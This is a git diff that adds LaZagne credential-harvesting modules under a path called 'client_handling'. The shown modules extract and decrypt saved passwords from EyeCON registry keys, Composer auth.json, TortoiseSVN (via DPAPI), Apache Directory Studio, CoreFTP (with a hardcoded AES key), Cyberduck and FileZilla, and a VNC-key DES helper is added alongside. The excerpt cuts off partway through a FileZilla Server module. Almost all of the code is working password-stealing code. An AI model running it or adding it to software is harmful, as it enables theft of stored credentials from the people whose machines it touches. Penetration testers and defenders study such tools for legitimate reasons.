+ # self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path[1]+path[2]))
+ pass
+ return hosts
+
+ def credentials_from_registry(self):
+ found_passwords = []
+ password_path = (
+ {
+ 'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE,
+ 'reg_path': 'SOFTWARE\\WOW6432Node\\eyevis\\eyetool\\Default',
+ 'user_key': 'registered', 'password_key': 'connection'
+ },
+ {
+ 'app': 'EyeCON', 'reg_root': HKEY_LOCAL_MACHINE,
+ 'reg_path': 'SOFTWARE\\eyevis\\eyetool\\Default',
+ 'user_key': 'registered', 'password_key': 'connection'
+ },
+ )
+
+ for path in password_path:
+ values = {}
+ try:
+ try:
+ hkey = OpenKey(path['reg_root'], path['reg_path'])
+ reg_user_key = winreg.QueryValueEx(hkey, path['user_key'])[0]
+ reg_password_key = winreg.QueryValueEx(hkey, path['password_key'])[0]
+ except Exception:
+ self.debug(u'Problems with key:: {reg_key}'.format(reg_key=path['reg_root'] + path['reg_path']))
+ continue
+
+ try:
+ user = self.deobfuscate(reg_user_key)
+ except Exception:
+ self.info(u'Problems with deobfuscate user : {reg_key}'.format(reg_key=path['reg_path']))
+ continue
+
+ try:
+ password = self.deobfuscate(reg_password_key)
+ except Exception:
+ self.info(u'Problems with deobfuscate password : {reg_key}'.format(reg_key=path['reg_path']))
+ continue
+
+ found_passwords.append({'username': user, 'password': password})
+ except Exception:
+ pass
+ return found_passwords
+
+ def run(self):
+ hosts = self.get_db_hosts()
+ credentials = self.credentials_from_registry()
+ for cred in credentials:
+ cred['host(s)'] = b', '.join(hosts)
+ return credentials
diff --git a/foreign/client_handling/lazagne/softwares/php/__init__.py b/foreign/client_handling/lazagne/softwares/php/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/php/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/php/composer.py b/foreign/client_handling/lazagne/softwares/php/composer.py
new file mode 100644
index 0000000..a476261
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/php/composer.py
@@ -0,0 +1,61 @@
+# -*- coding: utf-8 -*-
+import json
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class Composer(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'composer', 'php')
+
+ def extract_credentials(self, location):
+ """
+ Extract the credentials from the "auth.json" file.
+ See "https://getcomposer.org/doc/articles/http-basic-authentication.md" for file format.
+ :param location: Full path to the "auth.json" file
+ :return: List of credentials founds
+ """
+ creds_found = []
+ with open(location) as f:
+ creds = json.load(f)
+ for cred_type in creds:
+ for domain in creds[cred_type]:
+ values = {
+ "AuthenticationType" : cred_type,
+ "Domain" : domain,
+ }
+ # Extract basic authentication if we are on a "http-basic" section
+ # otherwise extract authentication token
+ if cred_type == "http-basic":
+ values["Login"] = creds[cred_type][domain]["username"]
+ values["Password"] = creds[cred_type][domain]["password"]
+ else:
+ values["Password"] = creds[cred_type][domain]
+ creds_found.append(values)
+
+ return creds_found
+
+ def run(self):
+ """
+ Main function
+ """
+
+ # Define the possible full path of the "auth.json" file when is defined at global level
+ # See "https://getcomposer.org/doc/articles/http-basic-authentication.md"
+ # See "https://seld.be/notes/authentication-management-in-composer"
+ location = ''
+ tmp_location = [
+ os.path.join(constant.profile["COMPOSER_HOME"], u'auth.json'),
+ os.path.join(constant.profile["APPDATA"], u'Composer\\auth.json')
+ ]
+ for tmp in tmp_location:
+ if os.path.isfile(tmp):
+ location = tmp
+ break
+
+ if location:
+ return self.extract_credentials(location)
diff --git a/foreign/client_handling/lazagne/softwares/svn/__init__.py b/foreign/client_handling/lazagne/softwares/svn/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/svn/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/svn/tortoise.py b/foreign/client_handling/lazagne/softwares/svn/tortoise.py
new file mode 100644
index 0000000..dfa5c4d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/svn/tortoise.py
@@ -0,0 +1,68 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class Tortoise(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'tortoise', 'svn', winapi_used=True)
+
+ def run(self):
+ pwd_found = []
+ path = os.path.join(constant.profile["APPDATA"], u'Subversion\\auth\\svn.simple')
+ if os.path.exists(path):
+ for root, dirs, files in os.walk(path + os.sep):
+ for filename in files:
+ f = open(os.path.join(path, filename), 'r')
+ url = ''
+ username = ''
+ result = ''
+
+ i = 0
+ # password
+ for line in f:
+ if i == -1:
+ result = line.replace('\n', '')
+ break
+ if line.startswith('password'):
+ i = -3
+ i += 1
+
+ i = 0
+ # url
+ for line in f:
+ if i == -1:
+ url = line.replace('\n', '')
+ break
+ if line.startswith('svn:realmstring'):
+ i = -3
+ i += 1
+
+ i = 0
+
+ # username
+ for line in f:
+ if i == -1:
+ username = line.replace('\n', '')
+ break
+ if line.startswith('username'):
+ i = -3
+ i += 1
+
+ # encrypted the password
+ if result:
+ try:
+ password = Win32CryptUnprotectData(base64.b64decode(result), is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ pwd_found.append({
+ 'URL': url,
+ 'Login': username,
+ 'Password': str(password)
+ })
+ except Exception:
+ pass
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py b/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
new file mode 100644
index 0000000..14a8b4a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/apachedirectorystudio.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*-
+from xml.etree.ElementTree import parse
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import *
+
+import os
+
+
+class ApacheDirectoryStudio(ModuleInfo):
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin')
+ # Interesting XML attributes in ADS connection configuration
+ self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"]
+
+ def extract_connections_credentials(self):
+ """
+ Extract all connection's credentials.
+
+ :return: List of dict in which one dict contains all information for a connection.
+ """
+ repos_creds = []
+ connection_file_location = os.path.join(
+ constant.profile["USERPROFILE"],
+ u'.ApacheDirectoryStudio\\.metadata\\.plugins\\org.apache.directory.studio.connection.core\\connections.xml'
+ )
+ if os.path.isfile(connection_file_location):
+ try:
+ connections = parse(connection_file_location).getroot()
+ connection_nodes = connections.findall(".//connection")
+ for connection_node in connection_nodes:
+ creds = {}
+ for connection_attr_name in connection_node.attrib:
+ if connection_attr_name in self.attr_to_extract:
+ creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip()
+ if creds:
+ repos_creds.append(creds)
+ except Exception as e:
+ self.error(u"Cannot retrieve connections credentials '%s'" % e)
+
+ return repos_creds
+
+ def run(self):
+ """
+ Main function
+ """
+ # Extract all available connections credentials
+ repos_creds = self.extract_connections_credentials()
+
+ # Parse and process the list of connections credentials
+ pwd_found = []
+ for creds in repos_creds:
+ pwd_found.append({
+ "Host" : creds["host"],
+ "Port" : creds["port"],
+ "Login" : creds["bindPrincipal"],
+ "Password" : creds["bindPassword"],
+ "AuthenticationMethod" : creds["authMethod"]
+ })
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
new file mode 100644
index 0000000..cccfffa
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
@@ -0,0 +1,58 @@
+# -*- coding: utf-8 -*-
+import binascii
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
+
+
+class CoreFTP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'coreftp', 'sysadmin')
+
+ self._secret = "hdfzpysvpzimorhk"
+
+ def decrypt(self, hex):
+ encoded = binascii.unhexlify(hex)
+ aes = AESModeOfOperationECB(self._secret)
+ decrypted = aes.decrypt(encoded)
+ return decrypted.split('\x00')[0]
+
+ def run(self):
+ key = None
+ pwd_found = []
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites')
+ except Exception as e:
+ self.debug(str(e))
+
+ if key:
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ elements = ['Host', 'Port', 'User', 'Password']
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ num = winreg.QueryInfoKey(skey)[1]
+ values = {}
+ for nn in range(num):
+ k = winreg.EnumValue(skey, nn)
+ if k[0] in elements:
+ if k[0] == 'User':
+ values['Login'] = k[1]
+ pwd_found.append(values)
+ if k[0] == 'PW':
+ try:
+ values['Password'] = self.decrypt(k[1])
+ except Exception as e:
+ self.debug(str(e))
+ else:
+ values[k[0]] = k[1]
+
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py b/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py
new file mode 100644
index 0000000..a72a0a6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/cyberduck.py
@@ -0,0 +1,48 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.winstructure import string_to_unicode
+
+import os
+
+
+class Cyberduck(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'cyberduck', 'sysadmin', winapi_used=True)
+
+ # find the user.config file containing passwords
+ def get_application_path(self):
+ directory = os.path.join(constant.profile['APPDATA'], u'Cyberduck')
+ if os.path.exists(directory):
+ for dr in os.listdir(directory):
+ if dr.startswith(u'Cyberduck'):
+ for d in os.listdir(os.path.join(directory, string_to_unicode(dr))):
+ path = os.path.join(directory, string_to_unicode(dr), string_to_unicode(d), u'user.config')
+ return path
+
+ def run(self):
+ xml_file = self.get_application_path()
+ if xml_file and os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+
+ pwd_found = []
+ for elem in tree.iter():
+ try:
+ if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') \
+ or elem.attrib['name'].startswith('sftp') or elem.attrib['name'].startswith('http') \
+ or elem.attrib['name'].startswith('https'):
+ encrypted_password = base64.b64decode(elem.attrib['value'])
+ password = Win32CryptUnprotectData(encrypted_password, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ pwd_found.append({
+ 'URL': elem.attrib['name'],
+ 'Password': password,
+ })
+ except Exception as e:
+ self.debug(str(e))
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py b/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py
new file mode 100644
index 0000000..1670b42
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/d3des.py
@@ -0,0 +1,391 @@
+#!/usr/bin/env python
+#
+# d3des.py - DES implementation
+#
+# Copyright (c) 2009 by Yusuke Shinyama
+#
+
+# This is a Python rewrite of d3des.c by Richard Outerbridge.
+#
+# I referred to the original VNC viewer code for the changes that
+# is necessary to maintain the exact behavior of the VNC protocol.
+# Two constants and two functions were added to the original d3des
+# code. These added parts were written in Python and marked
+# below. I believe that the added parts do not make this program
+# a "derivative work" of the VNC viewer (which is GPL'ed and
+# written in C), but if there's any problem, let me know.
+#
+# Yusuke Shinyama (yusuke at cs dot nyu dot edu)
+
+
+# D3DES (V5.09) -
+#
+# A portable, public domain, version of the Data Encryption Standard.
+#
+# Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge.
+# Thanks to: Dan Hoey for his excellent Initial and Inverse permutation
+# code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis
+# Ferguson, Eric Young and Dana How for comparing notes; and Ray Lau,
+# for humouring me on.
+#
+# Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge.
+# (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992.
+#
+
+from struct import pack, unpack
+
+
+###################################################
+#
+# start: changes made for VNC.
+#
+
+# This constant was taken from vncviewer/rfb/vncauth.c:
+vnckey = [23, 82, 107, 6, 35, 78, 88, 7]
+
+# This is a departure from the original code.
+# bytebit = [ 0200, 0100, 040, 020, 010, 04, 02, 01 ] # original
+bytebit = [0o1, 0o2, 0o4, 0o10, 0o20, 0o40, 0o100, 0o200] # VNC version
+
+
+# two password functions for VNC protocol.
+
+
+def decrypt_passwd(data):
+ dk = deskey(pack('8B', *vnckey), True)
+ return desfunc(data, dk)
+
+
+def generate_response(passwd, challange):
+ ek = deskey((passwd+'\x00'*8)[:8], False)
+ return desfunc(challange[:8], ek) + desfunc(challange[8:], ek)
+
+###
+# end: changes made for VNC.
+#
+###################################################
+
+
+bigbyte = [
+ 0x800000, 0x400000, 0x200000, 0x100000,
+ 0x80000, 0x40000, 0x20000, 0x10000,
+ 0x8000, 0x4000, 0x2000, 0x1000,
+ 0x800, 0x400, 0x200, 0x100,
+ 0x80, 0x40, 0x20, 0x10,
+ 0x8, 0x4, 0x2, 0x1
+ ]
+
+# Use the key schedule specified in the Standard (ANSI X3.92-1981).
+
+pc1 = [
+ 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17,
+ 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35,
+ 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21,
+ 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3
+ ]
+
+totrot = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28]
+
+pc2 = [
+ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9,
+ 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1,
+ 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47,
+ 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31
+ ]
+
+
+def deskey(key, decrypt): # Thanks to James Gillogly & Phil Karn!
+ key = unpack('8B', key)
+
+ pc1m = [0]*56
+ pcr = [0]*56
+ kn = [0]*32
+
+ for j in range(56):
+ l = pc1[j]
+ m = l & 0o7
+ if key[l >> 3] & bytebit[m]:
+ pc1m[j] = 1
+ else:
+ pc1m[j] = 0
+
+ for i in range(16):
+ if decrypt:
+ m = (15 - i) << 1
+ else:
+ m = i << 1
+ n = m + 1
+ kn[m] = kn[n] = 0
+ for j in range(28):
+ l = j + totrot[i]
+ if l < 28:
+ pcr[j] = pc1m[l]
+ else:
+ pcr[j] = pc1m[l - 28]
+ for j in range(28, 56):
+ l = j + totrot[i]
+ if l < 56:
+ pcr[j] = pc1m[l]
+ else:
+ pcr[j] = pc1m[l - 28]
+ for j in range(24):
+ if pcr[pc2[j]]:
+ kn[m] |= bigbyte[j]
+ if pcr[pc2[j+24]]:
+ kn[n] |= bigbyte[j]
+
+ return cookey(kn)
+
+
+def cookey(raw):
+ key = []
+ for i in range(0, 32, 2):
+ (raw0, raw1) = (raw[i], raw[i+1])
+ k = (raw0 & 0x00fc0000) << 6
+ k |= (raw0 & 0x00000fc0) << 10
+ k |= (raw1 & 0x00fc0000) >> 10
+ k |= (raw1 & 0x00000fc0) >> 6
+ key.append(k)
+ k = (raw0 & 0x0003f000) << 12
+ k |= (raw0 & 0x0000003f) << 16
+ k |= (raw1 & 0x0003f000) >> 4
+ k |= (raw1 & 0x0000003f)
+ key.append(k)
+ return key
+
+
+SP1 = [
+ 0x01010400, 0x00000000, 0x00010000, 0x01010404,
+ 0x01010004, 0x00010404, 0x00000004, 0x00010000,
+ 0x00000400, 0x01010400, 0x01010404, 0x00000400,
+ 0x01000404, 0x01010004, 0x01000000, 0x00000004,
+ 0x00000404, 0x01000400, 0x01000400, 0x00010400,
+ 0x00010400, 0x01010000, 0x01010000, 0x01000404,
+ 0x00010004, 0x01000004, 0x01000004, 0x00010004,
+ 0x00000000, 0x00000404, 0x00010404, 0x01000000,
+ 0x00010000, 0x01010404, 0x00000004, 0x01010000,
+ 0x01010400, 0x01000000, 0x01000000, 0x00000400,
+ 0x01010004, 0x00010000, 0x00010400, 0x01000004,
+ 0x00000400, 0x00000004, 0x01000404, 0x00010404,
+ 0x01010404, 0x00010004, 0x01010000, 0x01000404,
+ 0x01000004, 0x00000404, 0x00010404, 0x01010400,
+ 0x00000404, 0x01000400, 0x01000400, 0x00000000,
+ 0x00010004, 0x00010400, 0x00000000, 0x01010004
+]
+
+SP2 = [
+ 0x80108020, 0x80008000, 0x00008000, 0x00108020,
+ 0x00100000, 0x00000020, 0x80100020, 0x80008020,
+ 0x80000020, 0x80108020, 0x80108000, 0x80000000,
+ 0x80008000, 0x00100000, 0x00000020, 0x80100020,
+ 0x00108000, 0x00100020, 0x80008020, 0x00000000,
+ 0x80000000, 0x00008000, 0x00108020, 0x80100000,
+ 0x00100020, 0x80000020, 0x00000000, 0x00108000,
+ 0x00008020, 0x80108000, 0x80100000, 0x00008020,
+ 0x00000000, 0x00108020, 0x80100020, 0x00100000,
+ 0x80008020, 0x80100000, 0x80108000, 0x00008000,
+ 0x80100000, 0x80008000, 0x00000020, 0x80108020,
+ 0x00108020, 0x00000020, 0x00008000, 0x80000000,
+ 0x00008020, 0x80108000, 0x00100000, 0x80000020,
+ 0x00100020, 0x80008020, 0x80000020, 0x00100020,
+ 0x00108000, 0x00000000, 0x80008000, 0x00008020,
+ 0x80000000, 0x80100020, 0x80108020, 0x00108000
+]
+
+SP3 = [
+ 0x00000208, 0x08020200, 0x00000000, 0x08020008,
+ 0x08000200, 0x00000000, 0x00020208, 0x08000200,
+ 0x00020008, 0x08000008, 0x08000008, 0x00020000,
+ 0x08020208, 0x00020008, 0x08020000, 0x00000208,
+ 0x08000000, 0x00000008, 0x08020200, 0x00000200,
+ 0x00020200, 0x08020000, 0x08020008, 0x00020208,
+ 0x08000208, 0x00020200, 0x00020000, 0x08000208,
+ 0x00000008, 0x08020208, 0x00000200, 0x08000000,
+ 0x08020200, 0x08000000, 0x00020008, 0x00000208,
+ 0x00020000, 0x08020200, 0x08000200, 0x00000000,
+ 0x00000200, 0x00020008, 0x08020208, 0x08000200,
+ 0x08000008, 0x00000200, 0x00000000, 0x08020008,
+ 0x08000208, 0x00020000, 0x08000000, 0x08020208,
+ 0x00000008, 0x00020208, 0x00020200, 0x08000008,
+ 0x08020000, 0x08000208, 0x00000208, 0x08020000,
+ 0x00020208, 0x00000008, 0x08020008, 0x00020200
+]
+
+SP4 = [
+ 0x00802001, 0x00002081, 0x00002081, 0x00000080,
+ 0x00802080, 0x00800081, 0x00800001, 0x00002001,
+ 0x00000000, 0x00802000, 0x00802000, 0x00802081,
+ 0x00000081, 0x00000000, 0x00800080, 0x00800001,
+ 0x00000001, 0x00002000, 0x00800000, 0x00802001,
+ 0x00000080, 0x00800000, 0x00002001, 0x00002080,
+ 0x00800081, 0x00000001, 0x00002080, 0x00800080,
+ 0x00002000, 0x00802080, 0x00802081, 0x00000081,
+ 0x00800080, 0x00800001, 0x00802000, 0x00802081,
+ 0x00000081, 0x00000000, 0x00000000, 0x00802000,
+ 0x00002080, 0x00800080, 0x00800081, 0x00000001,
+ 0x00802001, 0x00002081, 0x00002081, 0x00000080,
+ 0x00802081, 0x00000081, 0x00000001, 0x00002000,
+ 0x00800001, 0x00002001, 0x00802080, 0x00800081,
+ 0x00002001, 0x00002080, 0x00800000, 0x00802001,
+ 0x00000080, 0x00800000, 0x00002000, 0x00802080
+]
+
+SP5 = [
+ 0x00000100, 0x02080100, 0x02080000, 0x42000100,
+ 0x00080000, 0x00000100, 0x40000000, 0x02080000,
+ 0x40080100, 0x00080000, 0x02000100, 0x40080100,
+ 0x42000100, 0x42080000, 0x00080100, 0x40000000,
+ 0x02000000, 0x40080000, 0x40080000, 0x00000000,
+ 0x40000100, 0x42080100, 0x42080100, 0x02000100,
+ 0x42080000, 0x40000100, 0x00000000, 0x42000000,
+ 0x02080100, 0x02000000, 0x42000000, 0x00080100,
+ 0x00080000, 0x42000100, 0x00000100, 0x02000000,
+ 0x40000000, 0x02080000, 0x42000100, 0x40080100,
+ 0x02000100, 0x40000000, 0x42080000, 0x02080100,
+ 0x40080100, 0x00000100, 0x02000000, 0x42080000,
+ 0x42080100, 0x00080100, 0x42000000, 0x42080100,
+ 0x02080000, 0x00000000, 0x40080000, 0x42000000,
+ 0x00080100, 0x02000100, 0x40000100, 0x00080000,
+ 0x00000000, 0x40080000, 0x02080100, 0x40000100
+]
+
+SP6 = [
+ 0x20000010, 0x20400000, 0x00004000, 0x20404010,
+ 0x20400000, 0x00000010, 0x20404010, 0x00400000,
+ 0x20004000, 0x00404010, 0x00400000, 0x20000010,
+ 0x00400010, 0x20004000, 0x20000000, 0x00004010,
+ 0x00000000, 0x00400010, 0x20004010, 0x00004000,
+ 0x00404000, 0x20004010, 0x00000010, 0x20400010,
+ 0x20400010, 0x00000000, 0x00404010, 0x20404000,
+ 0x00004010, 0x00404000, 0x20404000, 0x20000000,
+ 0x20004000, 0x00000010, 0x20400010, 0x00404000,
+ 0x20404010, 0x00400000, 0x00004010, 0x20000010,
+ 0x00400000, 0x20004000, 0x20000000, 0x00004010,
+ 0x20000010, 0x20404010, 0x00404000, 0x20400000,
+ 0x00404010, 0x20404000, 0x00000000, 0x20400010,
+ 0x00000010, 0x00004000, 0x20400000, 0x00404010,
+ 0x00004000, 0x00400010, 0x20004010, 0x00000000,
+ 0x20404000, 0x20000000, 0x00400010, 0x20004010
+]
+
+SP7 = [
+ 0x00200000, 0x04200002, 0x04000802, 0x00000000,
+ 0x00000800, 0x04000802, 0x00200802, 0x04200800,
+ 0x04200802, 0x00200000, 0x00000000, 0x04000002,
+ 0x00000002, 0x04000000, 0x04200002, 0x00000802,
+ 0x04000800, 0x00200802, 0x00200002, 0x04000800,
+ 0x04000002, 0x04200000, 0x04200800, 0x00200002,
+ 0x04200000, 0x00000800, 0x00000802, 0x04200802,
+ 0x00200800, 0x00000002, 0x04000000, 0x00200800,
+ 0x04000000, 0x00200800, 0x00200000, 0x04000802,
+ 0x04000802, 0x04200002, 0x04200002, 0x00000002,
+ 0x00200002, 0x04000000, 0x04000800, 0x00200000,
+ 0x04200800, 0x00000802, 0x00200802, 0x04200800,
+ 0x00000802, 0x04000002, 0x04200802, 0x04200000,
+ 0x00200800, 0x00000000, 0x00000002, 0x04200802,
+ 0x00000000, 0x00200802, 0x04200000, 0x00000800,
+ 0x04000002, 0x04000800, 0x00000800, 0x00200002
+]
+
+SP8 = [
+ 0x10001040, 0x00001000, 0x00040000, 0x10041040,
+ 0x10000000, 0x10001040, 0x00000040, 0x10000000,
+ 0x00040040, 0x10040000, 0x10041040, 0x00041000,
+ 0x10041000, 0x00041040, 0x00001000, 0x00000040,
+ 0x10040000, 0x10000040, 0x10001000, 0x00001040,
+ 0x00041000, 0x00040040, 0x10040040, 0x10041000,
+ 0x00001040, 0x00000000, 0x00000000, 0x10040040,
+ 0x10000040, 0x10001000, 0x00041040, 0x00040000,
+ 0x00041040, 0x00040000, 0x10041000, 0x00001000,
+ 0x00000040, 0x10040040, 0x00001000, 0x00041040,
+ 0x10001000, 0x00000040, 0x10000040, 0x10040000,
+ 0x10040040, 0x10000000, 0x00040000, 0x10001040,
+ 0x00000000, 0x10041040, 0x00040040, 0x10000040,
+ 0x10040000, 0x10001000, 0x10001040, 0x00000000,
+ 0x10041040, 0x00041000, 0x00041000, 0x00001040,
+ 0x00001040, 0x00040040, 0x10000000, 0x10041000
+]
+
+
+def desfunc(block, keys):
+ (leftt, right) = unpack('>II', block)
+
+ work = ((leftt >> 4) ^ right) & 0x0f0f0f0f
+ right ^= work
+ leftt ^= (work << 4)
+ work = ((leftt >> 16) ^ right) & 0x0000ffff
+ right ^= work
+ leftt ^= (work << 16)
+ work = ((right >> 2) ^ leftt) & 0x33333333
+ leftt ^= work
+ right ^= (work << 2)
+ work = ((right >> 8) ^ leftt) & 0x00ff00ff
+ leftt ^= work
+ right ^= (work << 8)
+ right = ((right << 1) | ((right >> 31) & 1)) & 0xffffffff
+ work = (leftt ^ right) & 0xaaaaaaaa
+ leftt ^= work
+ right ^= work
+ leftt = ((leftt << 1) | ((leftt >> 31) & 1)) & 0xffffffff
+
+ for i in range(0, 32, 4):
+ work = (right << 28) | (right >> 4)
+ work ^= keys[i]
+ fval = SP7[work & 0x3f]
+ fval |= SP5[(work >> 8) & 0x3f]
+ fval |= SP3[(work >> 16) & 0x3f]
+ fval |= SP1[(work >> 24) & 0x3f]
+ work = right ^ keys[i+1]
+ fval |= SP8[work & 0x3f]
+ fval |= SP6[(work >> 8) & 0x3f]
+ fval |= SP4[(work >> 16) & 0x3f]
+ fval |= SP2[(work >> 24) & 0x3f]
+ leftt ^= fval
+ work = (leftt << 28) | (leftt >> 4)
+ work ^= keys[i+2]
+ fval = SP7[work & 0x3f]
+ fval |= SP5[(work >> 8) & 0x3f]
+ fval |= SP3[(work >> 16) & 0x3f]
+ fval |= SP1[(work >> 24) & 0x3f]
+ work = leftt ^ keys[i+3]
+ fval |= SP8[work & 0x3f]
+ fval |= SP6[(work >> 8) & 0x3f]
+ fval |= SP4[(work >> 16) & 0x3f]
+ fval |= SP2[(work >> 24) & 0x3f]
+ right ^= fval
+
+ right = (right << 31) | (right >> 1)
+ work = (leftt ^ right) & 0xaaaaaaaa
+ leftt ^= work
+ right ^= work
+ leftt = (leftt << 31) | (leftt >> 1)
+ work = ((leftt >> 8) ^ right) & 0x00ff00ff
+ right ^= work
+ leftt ^= (work << 8)
+ work = ((leftt >> 2) ^ right) & 0x33333333
+ right ^= work
+ leftt ^= (work << 2)
+ work = ((right >> 16) ^ leftt) & 0x0000ffff
+ leftt ^= work
+ right ^= (work << 16)
+ work = ((right >> 4) ^ leftt) & 0x0f0f0f0f
+ leftt ^= work
+ right ^= (work << 4)
+
+ leftt &= 0xffffffff
+ right &= 0xffffffff
+ return pack('>II', right, leftt)
+
+
+# test
+if __name__ == '__main__':
+ import binascii
+ key = binascii.unhexlify('0123456789abcdef')
+ plain = binascii.unhexlify('0123456789abcdef')
+ cipher = binascii.unhexlify('6e09a37726dd560c')
+ ek = deskey(key, False)
+ dk = deskey(key, True)
+ assert desfunc(plain, ek) == cipher
+ assert desfunc(desfunc(plain, ek), dk) == plain
+ assert desfunc(desfunc(plain, dk), ek) == plain
+ print('test succeeded.')
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py b/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py
new file mode 100644
index 0000000..fb6d929
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/filezilla.py
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+import base64
+
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class Filezilla(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'filezilla', 'sysadmin')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'FileZilla')
+ if os.path.exists(path):
+ pwd_found = []
+ for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']:
+
+ xml_file = os.path.join(path, file)
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ if tree.findall('Servers/Server'):
+ servers = tree.findall('Servers/Server')
+ else:
+ servers = tree.findall('RecentServers/Server')
+
+ for server in servers:
+ host = server.find('Host')
+ port = server.find('Port')
+ login = server.find('User')
+ password = server.find('Pass')
+
+ # if all((host, port, login)) does not work
+ if host is not None and port is not None and login is not None:
+ values = {
+ 'Host': host.text,
+ 'Port': port.text,
+ 'Login': login.text,
+ }
+
+ if password is not None:
+ if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64':
+ values['Password'] = base64.b64decode(password.text)
+ else:
+ values['Password'] = password.text
+
+ if values:
+ pwd_found.append(values)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py b/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py
new file mode 100644
index 0000000..3bcde6d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/filezillaserver.py
@@ -0,0 +1,42 @@
+# -*- coding: utf-8 -*-
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+import os
+
+
+class FilezillaServer(ModuleInfo):
+ def __init__(self):
